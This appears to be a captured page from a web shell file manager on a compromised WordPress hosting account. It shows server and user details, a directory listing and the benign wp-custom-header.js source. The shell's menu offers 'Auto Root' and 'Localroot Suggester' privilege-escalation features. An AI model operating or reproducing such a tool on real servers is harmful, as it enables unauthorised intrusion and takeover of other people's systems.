Linux ih01.iridiumhosting.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
LiteSpeed
Server IP : 67.227.241.211 & Your IP : 216.73.216.226
Domains :
Cant Read [ /etc/named.conf ]
User : dustinhy
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
dustinhy /
radiantleads.com /
wp-includes /
js /
Delete
Unzip
Name
Size
Permission
Date
Action
codemirror
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
crop
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
dist
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
imgareaselect
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
jcrop
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
jquery
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
mediaelement
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
plupload
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
swfupload
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
thickbox
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
tinymce
[ DIR ]
drwxr-xr-x
2026-06-11 03:55
wp
[ DIR ]
dr-xr-xr-x
2026-06-11 03:55
.htaccess
237
B
-r-xr-xr-x
2026-06-11 03:55
admin-bar.js
10.51
KB
-rw-r--r--
2020-08-13 00:26
admin-bar.min.js
3.47
KB
-rw-r--r--
2021-02-11 09:20
api-request.js
3.25
KB
-rw-r--r--
2020-12-10 05:04
api-request.min.js
1
KB
-rw-r--r--
2021-02-11 09:20
autosave.js
21.99
KB
-rw-r--r--
2021-03-16 03:44
autosave.min.js
5.71
KB
-rw-r--r--
2021-04-20 21:25
backbone.js
75.97
KB
-rw-r--r--
2019-09-17 22:19
backbone.min.js
23.26
KB
-rw-r--r--
2021-04-20 21:25
clipboard.js
28.8
KB
-rw-r--r--
2020-08-13 00:26
clipboard.min.js
10.17
KB
-rw-r--r--
2021-04-20 21:25
colorpicker.js
28.4
KB
-rw-r--r--
2012-11-17 21:11
colorpicker.min.js
16.17
KB
-rw-r--r--
2021-02-11 09:20
comment-reply.js
12.17
KB
-rw-r--r--
2020-12-10 05:04
comment-reply.min.js
2.91
KB
-rw-r--r--
2021-04-20 21:25
customize-base.js
25.16
KB
-rw-r--r--
2021-03-16 03:44
customize-base.min.js
7.67
KB
-rw-r--r--
2021-04-20 21:25
customize-loader.js
7.72
KB
-rw-r--r--
2020-08-13 00:26
customize-loader.min.js
3.47
KB
-rw-r--r--
2021-02-11 09:20
customize-models.js
6.66
KB
-rw-r--r--
2020-08-13 00:26
customize-models.min.js
3.61
KB
-rw-r--r--
2021-02-11 09:20
customize-preview-nav-menus.js
14.67
KB
-rw-r--r--
2020-08-13 00:26
customize-preview-nav-menus.min.js
4.92
KB
-rw-r--r--
2021-02-11 09:20
customize-preview-widgets.js
22.71
KB
-rw-r--r--
2020-08-13 00:26
customize-preview-widgets.min.js
7.64
KB
-rw-r--r--
2021-02-11 09:20
customize-preview.js
27.3
KB
-rw-r--r--
2020-08-13 00:26
customize-preview.min.js
10.51
KB
-rw-r--r--
2021-02-11 09:20
customize-selective-refresh.js
32.55
KB
-rw-r--r--
2020-08-13 00:26
customize-selective-refresh.min.js
10.44
KB
-rw-r--r--
2021-04-20 21:25
customize-views.js
4.95
KB
-rw-r--r--
2018-06-28 07:30
customize-views.min.js
2.39
KB
-rw-r--r--
2021-02-11 09:20
heartbeat.js
22.61
KB
-rw-r--r--
2020-08-13 00:26
heartbeat.min.js
5.75
KB
-rw-r--r--
2021-04-20 21:25
hoverIntent.js
4.83
KB
-rw-r--r--
2018-05-23 15:05
hoverIntent.min.js
1.1
KB
-rw-r--r--
2021-02-11 09:20
hoverintent-js.min.js
1.68
KB
-rw-r--r--
2019-12-10 07:03
imagesloaded.min.js
5.5
KB
-rw-r--r--
2020-08-13 00:26
json2.js
17.99
KB
-rw-r--r--
2015-10-06 19:02
json2.min.js
3.08
KB
-rw-r--r--
2021-02-11 09:20
masonry.min.js
23.57
KB
-rw-r--r--
2020-08-13 00:26
mce-view.js
25.45
KB
-rw-r--r--
2020-08-13 00:26
mce-view.min.js
9.65
KB
-rw-r--r--
2021-02-11 09:20
media-audiovideo.js
26.91
KB
-rw-r--r--
2023-05-17 02:48
media-audiovideo.min.js
12.62
KB
-rw-r--r--
2023-05-17 02:48
media-editor.js
28.44
KB
-rw-r--r--
2020-08-13 00:26
media-editor.min.js
10.65
KB
-rw-r--r--
2021-02-11 09:20
media-grid.js
28.84
KB
-rw-r--r--
2021-03-16 03:44
media-grid.min.js
13.83
KB
-rw-r--r--
2021-04-20 21:25
media-models.js
44.08
KB
-rw-r--r--
2021-03-16 03:44
media-models.min.js
13.49
KB
-rw-r--r--
2021-04-20 21:25
media-views.js
261.46
KB
-rw-r--r--
2021-03-16 03:44
media-views.min.js
104.97
KB
-rw-r--r--
2021-04-20 21:25
quicktags.js
22.08
KB
-rw-r--r--
2020-01-29 06:45
quicktags.min.js
10.89
KB
-rw-r--r--
2021-04-20 21:25
shortcode.js
10.51
KB
-rw-r--r--
2020-01-29 06:45
shortcode.min.js
2.59
KB
-rw-r--r--
2021-02-11 09:20
swfobject.js
9.99
KB
-rw-r--r--
2012-04-18 04:09
tw-sack.js
4.85
KB
-rw-r--r--
2012-08-23 05:04
tw-sack.min.js
3.22
KB
-rw-r--r--
2019-10-26 05:17
twemoji.js
27.35
KB
-rw-r--r--
2020-12-10 05:04
twemoji.min.js
11.04
KB
-rw-r--r--
2021-02-11 09:20
underscore.js
51.68
KB
-rw-r--r--
2019-09-12 15:20
underscore.min.js
15.67
KB
-rw-r--r--
2021-04-20 21:25
utils.js
4.56
KB
-rw-r--r--
2020-01-29 06:45
utils.min.js
1.82
KB
-rw-r--r--
2021-02-11 09:20
wp-ajax-response.js
3.14
KB
-rw-r--r--
2021-03-16 03:44
wp-ajax-response.min.js
2.05
KB
-rw-r--r--
2021-03-16 03:44
wp-api.js
45.88
KB
-rw-r--r--
2020-12-10 05:04
wp-api.min.js
14.34
KB
-rw-r--r--
2021-04-20 21:25
wp-auth-check.js
4.13
KB
-rw-r--r--
2020-08-13 00:26
wp-auth-check.min.js
1.63
KB
-rw-r--r--
2021-02-11 09:20
wp-backbone.js
14.88
KB
-rw-r--r--
2020-08-13 00:26
wp-backbone.min.js
2.97
KB
-rw-r--r--
2021-04-20 21:25
wp-custom-header.js
10.2
KB
-rw-r--r--
2020-08-13 00:26
wp-custom-header.min.js
4.34
KB
-rw-r--r--
2021-03-16 03:44
wp-embed-template.js
6.24
KB
-rw-r--r--
2020-12-10 05:04
wp-embed-template.min.js
3.08
KB
-rw-r--r--
2021-02-11 09:20
wp-embed.js
3.33
KB
-rw-r--r--
2023-05-17 02:48
wp-embed.min.js
1.44
KB
-rw-r--r--
2023-05-17 02:48
wp-emoji-loader.js
6.79
KB
-rw-r--r--
2020-08-13 00:26
wp-emoji-loader.min.js
1.81
KB
-rw-r--r--
2021-02-11 09:20
wp-emoji-release.min.js
13.9
KB
-rw-r--r--
2021-02-11 09:20
wp-emoji.js
8.78
KB
-rw-r--r--
2020-01-29 06:45
wp-emoji.min.js
2.81
KB
-rw-r--r--
2021-02-11 09:20
wp-list-revisions.js
970
B
-rw-r--r--
2018-06-28 07:30
wp-list-revisions.min.js
597
B
-rw-r--r--
2021-02-11 09:20
wp-lists.js
24.72
KB
-rw-r--r--
2021-03-16 03:44
wp-lists.min.js
7.26
KB
-rw-r--r--
2021-04-20 21:25
wp-pointer.js
9.99
KB
-rw-r--r--
2021-03-16 03:44
wp-pointer.min.js
3.54
KB
-rw-r--r--
2021-03-16 03:44
wp-sanitize.js
1.32
KB
-rw-r--r--
2019-09-04 22:13
wp-sanitize.min.js
458
B
-rw-r--r--
2021-04-20 21:25
wp-util.js
4.02
KB
-rw-r--r--
2026-03-12 09:52
wp-util.min.js
1.14
KB
-rw-r--r--
2026-03-12 09:52
wpdialog.js
560
B
-rw-r--r--
2018-06-28 07:30
wpdialog.min.js
272
B
-rw-r--r--
2019-10-26 05:17
wplink.js
20.66
KB
-rw-r--r--
2021-03-16 03:44
wplink.min.js
11.02
KB
-rw-r--r--
2021-04-20 21:25
zxcvbn-async.js
821
B
-rw-r--r--
2018-06-28 07:30
zxcvbn-async.min.js
351
B
-rw-r--r--
2021-03-16 03:44
zxcvbn.min.js
802.97
KB
-rw-r--r--
2019-10-26 05:17
Save
Rename
/** * @output wp-includes/js/wp-custom-header.js */ /* global YT */ (function( window, settings ) { var NativeHandler, YouTubeHandler; /** @namespace wp */ window.wp = window.wp || {}; // Fail gracefully in unsupported browsers. if ( ! ( 'addEventListener' in window ) ) { return; } /** * Trigger an event. * * @param {Element} target HTML element to dispatch the event on. * @param {string} name Event name. */ function trigger( target, name ) { var evt; if ( 'function' === typeof window.Event ) { evt = new Event( name ); } else { evt = document.createEvent( 'Event' ); evt.initEvent( name, true, true ); } target.dispatchEvent( evt ); } /** * Create a custom header instance. * * @memberOf wp * * @class */ function CustomHeader() { this.handlers = { nativeVideo: new NativeHandler(), youtube: new YouTubeHandler() }; } CustomHeader.prototype = { /** * Initialize the custom header. * * If the environment supports video, loops through registered handlers * until one is found that can handle the video. */ initialize: function() { if ( this.supportsVideo() ) { for ( var id in this.handlers ) { var handler = this.handlers[ id ]; if ( 'test' in handler && handler.test( settings ) ) { this.activeHandler = handler.initialize.call( handler, settings ); // Dispatch custom event when the video is loaded. trigger( document, 'wp-custom-header-video-loaded' ); break; } } } }, /** * Determines if the current environment supports video. * * Themes and plugins can override this method to change the criteria. * * @return {boolean} */ supportsVideo: function() { // Don't load video on small screens. @todo Consider bandwidth and other factors. if ( window.innerWidth < settings.minWidth || window.innerHeight < settings.minHeight ) { return false; } return true; }, /** * Base handler for custom handlers to extend. * * @type {BaseHandler} */ BaseVideoHandler: BaseHandler }; /** * Create a video handler instance. * * @memberOf wp * * @class */ function BaseHandler() {} BaseHandler.prototype = { /** * Initialize the video handler. * * @param {Object} settings Video settings. */ initialize: function( settings ) { var handler = this, button = document.createElement( 'button' ); this.settings = settings; this.container = document.getElementById( 'wp-custom-header' ); this.button = button; button.setAttribute( 'type', 'button' ); button.setAttribute( 'id', 'wp-custom-header-video-button' ); button.setAttribute( 'class', 'wp-custom-header-video-button wp-custom-header-video-play' ); button.innerHTML = settings.l10n.play; // Toggle video playback when the button is clicked. button.addEventListener( 'click', function() { if ( handler.isPaused() ) { handler.play(); } else { handler.pause(); } }); // Update the button class and text when the video state changes. this.container.addEventListener( 'play', function() { button.className = 'wp-custom-header-video-button wp-custom-header-video-play'; button.innerHTML = settings.l10n.pause; if ( 'a11y' in window.wp ) { window.wp.a11y.speak( settings.l10n.playSpeak); } }); this.container.addEventListener( 'pause', function() { button.className = 'wp-custom-header-video-button wp-custom-header-video-pause'; button.innerHTML = settings.l10n.play; if ( 'a11y' in window.wp ) { window.wp.a11y.speak( settings.l10n.pauseSpeak); } }); this.ready(); }, /** * Ready method called after a handler is initialized. * * @abstract */ ready: function() {}, /** * Whether the video is paused. * * @abstract * @return {boolean} */ isPaused: function() {}, /** * Pause the video. * * @abstract */ pause: function() {}, /** * Play the video. * * @abstract */ play: function() {}, /** * Append a video node to the header container. * * @param {Element} node HTML element. */ setVideo: function( node ) { var editShortcutNode, editShortcut = this.container.getElementsByClassName( 'customize-partial-edit-shortcut' ); if ( editShortcut.length ) { editShortcutNode = this.container.removeChild( editShortcut[0] ); } this.container.innerHTML = ''; this.container.appendChild( node ); if ( editShortcutNode ) { this.container.appendChild( editShortcutNode ); } }, /** * Show the video controls. * * Appends a play/pause button to header container. */ showControls: function() { if ( ! this.container.contains( this.button ) ) { this.container.appendChild( this.button ); } }, /** * Whether the handler can process a video. * * @abstract * @param {Object} settings Video settings. * @return {boolean} */ test: function() { return false; }, /** * Trigger an event on the header container. * * @param {string} name Event name. */ trigger: function( name ) { trigger( this.container, name ); } }; /** * Create a custom handler. * * @memberOf wp * * @param {Object} protoProps Properties to apply to the prototype. * @return CustomHandler The subclass. */ BaseHandler.extend = function( protoProps ) { var prop; function CustomHandler() { var result = BaseHandler.apply( this, arguments ); return result; } CustomHandler.prototype = Object.create( BaseHandler.prototype ); CustomHandler.prototype.constructor = CustomHandler; for ( prop in protoProps ) { CustomHandler.prototype[ prop ] = protoProps[ prop ]; } return CustomHandler; }; /** * Native video handler. * * @memberOf wp * * @class */ NativeHandler = BaseHandler.extend(/** @lends wp.NativeHandler.prototype */{ /** * Whether the native handler supports a video. * * @param {Object} settings Video settings. * @return {boolean} */ test: function( settings ) { var video = document.createElement( 'video' ); return video.canPlayType( settings.mimeType ); }, /** * Set up a native video element. */ ready: function() { var handler = this, video = document.createElement( 'video' ); video.id = 'wp-custom-header-video'; video.autoplay = 'autoplay'; video.loop = 'loop'; video.muted = 'muted'; video.width = this.settings.width; video.height = this.settings.height; video.addEventListener( 'play', function() { handler.trigger( 'play' ); }); video.addEventListener( 'pause', function() { handler.trigger( 'pause' ); }); video.addEventListener( 'canplay', function() { handler.showControls(); }); this.video = video; handler.setVideo( video ); video.src = this.settings.videoUrl; }, /** * Whether the video is paused. * * @return {boolean} */ isPaused: function() { return this.video.paused; }, /** * Pause the video. */ pause: function() { this.video.pause(); }, /** * Play the video. */ play: function() { this.video.play(); } }); /** * YouTube video handler. * * @memberOf wp * * @class wp.YouTubeHandler */ YouTubeHandler = BaseHandler.extend(/** @lends wp.YouTubeHandler.prototype */{ /** * Whether the handler supports a video. * * @param {Object} settings Video settings. * @return {boolean} */ test: function( settings ) { return 'video/x-youtube' === settings.mimeType; }, /** * Set up a YouTube iframe. * * Loads the YouTube IFrame API if the 'YT' global doesn't exist. */ ready: function() { var handler = this; if ( 'YT' in window ) { YT.ready( handler.loadVideo.bind( handler ) ); } else { var tag = document.createElement( 'script' ); tag.src = 'https://www.youtube.com/iframe_api'; tag.onload = function () { YT.ready( handler.loadVideo.bind( handler ) ); }; document.getElementsByTagName( 'head' )[0].appendChild( tag ); } }, /** * Load a YouTube video. */ loadVideo: function() { var handler = this, video = document.createElement( 'div' ), // @link http://stackoverflow.com/a/27728417 VIDEO_ID_REGEX = /^.*(?:(?:youtu\.be\/|v\/|vi\/|u\/\w\/|embed\/)|(?:(?:watch)?\?v(?:i)?=|\&v(?:i)?=))([^#\&\?]*).*/; video.id = 'wp-custom-header-video'; handler.setVideo( video ); handler.player = new YT.Player( video, { height: this.settings.height, width: this.settings.width, videoId: this.settings.videoUrl.match( VIDEO_ID_REGEX )[1], events: { onReady: function( e ) { e.target.mute(); handler.showControls(); }, onStateChange: function( e ) { if ( YT.PlayerState.PLAYING === e.data ) { handler.trigger( 'play' ); } else if ( YT.PlayerState.PAUSED === e.data ) { handler.trigger( 'pause' ); } else if ( YT.PlayerState.ENDED === e.data ) { e.target.playVideo(); } } }, playerVars: { autoplay: 1, controls: 0, disablekb: 1, fs: 0, iv_load_policy: 3, loop: 1, modestbranding: 1, playsinline: 1, rel: 0, showinfo: 0 } }); }, /** * Whether the video is paused. * * @return {boolean} */ isPaused: function() { return YT.PlayerState.PAUSED === this.player.getPlayerState(); }, /** * Pause the video. */ pause: function() { this.player.pauseVideo(); }, /** * Play the video. */ play: function() { this.player.playVideo(); } }); // Initialize the custom header when the DOM is ready. window.wp.customHeader = new CustomHeader(); document.addEventListener( 'DOMContentLoaded', window.wp.customHeader.initialize.bind( window.wp.customHeader ), false ); // Selective refresh support in the Customizer. if ( 'customize' in window.wp ) { window.wp.customize.selectiveRefresh.bind( 'render-partials-response', function( response ) { if ( 'custom_header_settings' in response ) { settings = response.custom_header_settings; } }); window.wp.customize.selectiveRefresh.bind( 'partial-content-rendered', function( placement ) { if ( 'custom_header' === placement.partial.id ) { window.wp.customHeader.initialize(); } }); } })( window, window._wpCustomHeaderSettings || {} );